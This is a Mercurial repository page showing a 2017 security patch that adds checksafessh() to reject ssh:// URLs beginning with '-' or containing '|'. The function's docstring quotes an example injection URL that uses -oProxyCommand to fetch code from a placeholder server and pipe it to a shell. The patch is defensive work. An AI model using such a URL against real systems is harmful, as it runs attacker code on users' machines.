Mercurial > public > mercurial-scm > hg
comparison mercurial/util.py @ 33634:53224b1ffbc2 stable
util: add utility method to check for bad ssh urls (SEC)
Our use of SSH has an exploit that will parse the first part of an url
blindly as a hostname. Prior to this set of security patches, a url
with '-oProxyCommand' could run arbitrary code on a user's machine. In
addition, at least on Windows, a pipe '|' can be abused to execute
arbitrary commands in a similar fashion.
We defend against this by checking ssh:// URLs and looking for a
hostname that starts with a - or contains a |.
When this happens, let's throw a big abort into the user's face so
that they can inspect what's going on.
| author | Sean Farley <sean@farley.io> |
|---|---|
| date | Fri, 28 Jul 2017 16:32:25 -0700 |
| parents | 377c74ef008d |
| children | 173ecccb9ee7 |
comparison
equal
deleted
inserted
replaced
| 33633:20bac46f7744 | 33634:53224b1ffbc2 |
|---|---|
| 2877 return path and path[1:2] == ':' and path[0:1].isalpha() | 2877 return path and path[1:2] == ':' and path[0:1].isalpha() |
| 2878 | 2878 |
| 2879 def urllocalpath(path): | 2879 def urllocalpath(path): |
| 2880 return url(path, parsequery=False, parsefragment=False).localpath() | 2880 return url(path, parsequery=False, parsefragment=False).localpath() |
| 2881 | 2881 |
| 2882 def checksafessh(path): | |
| 2883 """check if a path / url is a potentially unsafe ssh exploit (SEC) | |
| 2884 | |
| 2885 This is a sanity check for ssh urls. ssh will parse the first item as | |
| 2886 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |
| 2887 Let's prevent these potentially exploited urls entirely and warn the | |
| 2888 user. | |
| 2889 | |
| 2890 Raises an error.Abort when the url is unsafe. | |
| 2891 """ | |
| 2892 path = urlreq.unquote(path) | |
| 2893 if path.startswith('ssh://-') or '|' in path: | |
| 2894 raise error.Abort(_('potentially unsafe url: %r') % | |
| 2895 (path,)) | |
| 2896 | |
| 2882 def hidepassword(u): | 2897 def hidepassword(u): |
| 2883 '''hide user credential in a url string''' | 2898 '''hide user credential in a url string''' |
| 2884 u = url(u) | 2899 u = url(u) |
| 2885 if u.passwd: | 2900 if u.passwd: |
| 2886 u.passwd = '***' | 2901 u.passwd = '***' |